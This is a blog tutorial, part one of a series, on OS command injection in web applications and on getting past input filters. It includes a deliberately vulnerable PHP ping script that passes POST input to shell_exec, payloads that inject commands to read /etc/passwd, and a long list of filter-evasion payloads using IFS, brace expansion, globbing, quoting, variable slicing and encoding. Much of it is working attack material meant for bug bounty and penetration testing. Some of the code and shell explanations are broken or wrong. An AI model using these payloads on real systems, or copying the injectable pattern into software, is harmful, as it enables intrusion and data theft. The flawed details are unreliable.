Introduction:

Welcome, this is my tutorial on exploiting RCE via OS Command Injection. I’ll start with the basics, before moving on to various forms of filter evasion.

Note, that this is a tutorial specifically on OS Command Injection, not a tutorial on RCE in general. People often use these terms as if they’re identical, but that’s not strictly the case. All cases of Command Injection are RCE (Remote Code Execution), but not all cases of RCE are Command Injection. RCE is (or should be), the end-goal while exploiting a vulnerability. RCE can be triggered via a number of methods, generally through a combination of lower-impact attack vectors chained together in order to trigger RCE as the final part of the exploit chain.

OS Command Injection is the most direct method of triggering an RCE. With a traditional Command Injection bug, you are able to trigger RCE via a single request. I’m going to start with a basic explanation of how OS Command Injection works, along with some realistic code examples in a few languages. After this, I am going to dive deep into filter evasion techniques. If you’re doing bug bounties, and if you come across an OS Command Injection vulnerability (instant P1 BTW) then using some of my WAF bypass techniques that I am going to cover here could result in you getting a payout on an endpoint where other hackers have failed due to the WAF screwing up their payloads.

As the name of the attack vector quite clearly suggests… OS Command Injection is where an attacker has the ability to inject and execute system commands (Linux Terminal Commands or Windows Command Prompt inputs). This is primarily accomplished as a result of a hacker finding a HTTP Request (POST/GET Input) which has been improperly sanitized by the system admin(s) or back-end developers before then passing that input as the value for a system call.

I’m going to be splitting this tutorial into two parts. This blog post will offer an introduction to Command Injection, followed by some code examples, and finally followed up by a bunch of filter evasion techniques I use on a regular basis to bypass filters during penetration testing, exploit development, and bug bounty hunting.

There aren’t any necessary prerequisites in order to learn OS Command Injection, but you should have at least a basic understanding of the following subjects:

  • Basic programming knowledge
  • Understanding of HTTP (as a protocol)
  • Understanding of Linux Terminal Commands
  • Familiarity with System Call Functions (commonly known as syscalls) within programming
  • An understanding of the concept of “Blind” or “Out-of-Band” vulnerabilities
  • Knowledge of shell delimiters and escape strings (such as ; and &&) within the Linux Terminal

I shall be primarily demonstrating OS Command Injection within *nix-based environments. The reason for this is because the vast majority of web-servers are running Linux. The techniques listed will often apply to Windows Servers in the exact same manner (well, almost, I will be sharing some techniques and methods unique). The only main difference here is that you are injecting DOS Commands, rather than Linux commands (since you’re hacking a Windows Server, duh!)


The Basics:

So, the first concept you need to understand in regards to OS Command Injection are Shell Delimiters and Escape Strings.  I’m certain anyone who’s used Linux properly in the past is already familiar with this, despite possibly not knowing the names. They allow for execution of multiple-commands as a one-liner, which is very important for OS Command Injection for reasons which I shall explain very soon. First though, let’s cover some shell delimiters and escape strings:

  • The semi-colon ( ) can be used within the Linux Terminal acting as a delimiter to run multiple commands separately in a linear fashion (one after the other). If one command fails to execute as intended, then it will automatically attempt to execute the next command. An example of a use of this in the terminal is as follows: cd /var/www/html ; cat index.php – So, in this example, someone wants to read the source code for the search form they wrote for their site rather than having to run one command to change directory, followed by a second command to read the file on a new line after the first one executes, the use of the semi-colon allows you to execute both commands in a linear fashion as a one-liner. It’s executing two separate commands, despite you hitting he ENTER key only once.

  • The “greater than” arrow will print/echo the output of a command into a file. For example: echo “lol” > lol.txt will print/echo the string “lol” into the file name “lol.txt”, if the file doesn’t exist, then it will automatically create it (at least presuming that you have write perms for the directory in which you’re running the command. It works with two arrows as well, for example: echo “lol >> lol.txt

  • The & or && symbols are similar to using ; although they differ in that will run two commands concurrently, rather than running one after the other like with the semi-colon symbol.

  • The pipe symbol ( | ) takes the output of the first command, and uses that output as the input for the second command, like so: ls -la | grep “\.txt$” — this example is passing (or “piping”) the output of ls -la (command to perform an extended directory listing) to grep (command to search for things) while telling grep to output files with a .txt extension that are displayed via ls – like with & and &&, you can double-up on your pipes e.g: ls -la || grep “\.txt$” to achieve the same result.

  • Another thing worth knowing about in addition to shell escape strings is bash command substitution – one example of this is $(your_command) and depending on how your inputs are being handled on the back-end, this will sometimes allow you to trigger Command Injection. An alternative form of bash command substitution is `your command` – this will also sometimes execute your command. One place to test that second method in particular is within PHP applications, as it will result in Command Injection but for a different reason. Within PHP, those symbols are known as “backtick operators” and they will pass the inputs within them to the terminal to execute. Backtick Operators within PHP act the same as the shell_exec(); system call.

Code Examples:

I’m now going to give you some code examples of OS Command Injection vulnerabilities, and additionally it is going to detail areas of websites that you should look for when testing for OS Command Injection. I’ll be giving these examples in PHP, although of course these techniques can apply to other web languages. Also, note that this tutorial is covering command injection as opposed to code injection although I’ll be covering code injection also at some stage.

This example is a basic script which I named “”Website Uptime Availability Checker” – the name should be self-explanatory, and just a reminder that this code is in no way usable in a realistic manner (online servers could just drop my ICMP packets which would indicate the site is offline when it is not) – the idea here isn’t to write accurate code, but rather to demonstrate a simple OS Command Injection exploitation scenario. The script takes inputs from the user via a HTML Document with an input form for the user to enter the DNS or IP of the host they want to check is online. Once submitted, this form sends the user-input to another document named “ping.php” – The HTTP POST input from the form is then assigned to a dynamic variable value, this value is then included as part of a system call to craft a PING request, truncating the user-supplied URL or IP address into the syscall to be used within the PING request. The code is as follows:

<!DOCTYPE html>
<html>
    <head>
    <meta charset="UTF-8">
    <title>Website online availability checker!</title>
    </head>
  <body>
    <center>
      <h1><u>Website online availability checker:</u></h1>
      <form action="ping.php" method="POST">
        <p>Enter Website URL to send PIBG request:</P>
        <input type="text" name="URL">
        <br />
        <input type="Submit">
      </form>
    </center>
     
<?php
    /* Source code for "ping.php"
       this will take the POST input
       from the HTML <input> form and
       will handle that input */
        
    if (isset($_POST['url')) {
        $user_input = $_POST['url'];
        $output = shell_exec("ping -c1" .$user_input);
        }
         
    if (isset($output) && preg_match("/Request Timed Out/", $output) {
        echo "Ping request timed out!";
    }
     
    else if (isset($output) && preg_match("/Reply From/", $output) { 
        echo "The Ping request was successful:";
        echo $output;
    }
     
    else {
        echo "PING request failed!";
    }
?>
    </body>
</html>

Using the shell delimiters and escape characters mentioned earlier, you could input the URL that you wanted to do an online availability check for, and then inject a command of your own using a shell delimiter, like so (or any of the other characters listed in the previous section):

http://random-site.com ; cat /etc/passwd

or:

http://random-site.com & cat /etc/passwd

this will run the command to see if the website is online or not, and will also run your command at the same time.


Some filter bypass methods:

first off, it can be worth urlencoding these characters during command injection attempts, for example %26 in place of & – double encoding can work too (e.g. urlencoding the already urlencoded value). In addition to double-encoding, if something like str_replace(“%26”, “”); is being used then you could do something like %%2626 so that it strips one %26 and still leaves you with a single %26 left over, which then decodes to & and triggers the code execution.

If spaces are being stripped from your input (ive seen this in particular in a lot of “web stresser” tools that script kiddies sell on hacking forums, via the IP input for the site they want to DDoS via their panel – although I’ve seen this in plenty other areas too of course, and have even scored bounties using it), then there are a series of methods you can use to bypass whitespace from being stripped. So for example, the filtering would turn cat /etc/passwd into cat/etc/passwd – preventing the command from executing properly, and limiting you to single word commands.

The first of the methods that I’ll demonstrate to bypass is bash’s internal field separator, aka $IFS which can be triggered like so:

;cat${IFS}/etc/passwd

or if IFS is blacklisted, you can use bash expansion like so (command name and command value separated by comma:

;{cat,/etc/passwd}

you can also use the TAB character in place of a space, or the urlencoded value for the TAB character, for example:

;cat%09/etc/passwd

a line-feed can *occasionally* be used (only seen this working in such a manner very rarely):

;cat%0a/etc/passwd

sometimes, even a simple + can be used, for example:

;cat+/etc/passwd

alternatively, you can set some whitespace as a bash variable and call it like so:

;$lol='\x20';cat${lol}/etc/passwd

if $ and { } are filtered in addition to whitespace, then the following payload can be used:

;IFS=,;`cat<<</etc,/passwd`

if the likes of “cat” or “passwd” are actually blacklisted, then there are a number of ways around that too. For example, you can take advantage of bash wildcards, using a technique known as globbing. If you call the path to the command you wanna execute via /bin/* then you can use wildcards and the shell will predict the command you’re going to use. The wildcard characters can be either ? or *

For example:

;/bin/cat /etc/passwd

could be represented as:

;/b*n/c** /et*/pa**wd

or as:

;/b?n/c?? /et?/pa??wd

you can also take advantage of uninitialized variables in bash, which have a null value. These can be called via $u like so:

;cat$u /etc$u/passwd

single quotes or double quotes can be used too, like so:

;/bin/c"at" /e"tc"/pa"ss"wd

or:

;/b'i'n/c'a't /e't'c/p'a's's'w'd'

the backslash character can also be used in the same manner:

;c\\at /e\\tc/pa\\s\\swd/

$@ used in conjunction can also be used to trigger a bypass in a similar manner:

;c$@at /etc/passwd

If forward slashes are filters, you can use ${HOME:0:1} to represent a forward slash, and can thus execute commands like so:

;cat ${HOME:0:1}etc$HOME:0:1}passwd

additiontally, you can use ${SHELLOPTS} values to represent specific characters, for example {SHELLOPTS:3:1} would represent the letter c and ${SHELLOPTS:2:1} would represent a – so for example this would represent cat /etc/passwd:

;{SHELLOPTS:3:1}at /etc/p{SHELLOPTS:2:1}sswd

of course, all of these listed methods can and should be used in conjunction with eachother for effective filter evasion purposes.

another method that you can use is to just hex encode your entire payload and then echo it, like so:

;echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"

Now that I’ve covered some basic filter evasion methods, I’ll list some vulnerable PHP functions that are worth testing:

  • system();
  • exec();
  • shell_exec();
  • open();
  • pcntl_exec();
  • ioctl_exec();
  • eio_syncfs();
  • proc_open();
  • popen();

Final Words:

Now that I’ve explained the basic concept of command injection, and also various filter evasion methods, that’s me wrapping up part one of this blog series. In the second part of the series I’ll be covering examples of command injection within perl CGI’s via open(); calls, and within ruby on rails applications, among other languages. I’ll also be covering some more complex filter evasion techniques for OS command injection, including a number of private ones that I’ve used for bug bounties successfully in the past.

In part two I’ll also be covering methods of blind / out-of-band OS command injection and how to test for it in an effective manner.

I may be finishing this blog series in two parts, although it may eventually become three parts depending on how many private methods I release, but, this is all for now. Expect part 2 next week.

./mlt –out